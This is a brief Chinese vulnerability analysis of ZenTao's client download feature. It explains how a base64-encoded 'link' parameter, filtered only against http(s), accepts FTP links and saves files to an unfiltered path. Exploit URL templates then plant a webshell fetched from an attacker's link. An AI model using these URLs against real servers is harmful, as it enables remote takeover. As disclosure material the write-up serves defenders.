漏洞分析
module/client/control.php:86
参数直接传入 module,跟进 downloadZipPackage
函数,全局搜索发现有两个downloadZipPackage
函数:
module/client/ext/model/xuanxuan.php:10
对 link
参数进行过滤,如果正则匹配到 http[s]://
则返回false
,可以使用FTP协议绕过。
module/client/model.php:240
base64 解密 link
参数后将下载文件至 data/client/
拼接 version
参数的目录,无任何过滤。
调用路径:control -> ext module -> module
漏洞利用
Exploit:
http://127.0.0.1/zentao/client-download-1-(base64 encode webshell download link)-1.html
http://127.0.0.1/zentao/data/client/1/(download link filename)
复现:
使用FTP协议下载文件,绕过module/client/ext/model/xuanxuan.php:10函数的HTTP协议过滤。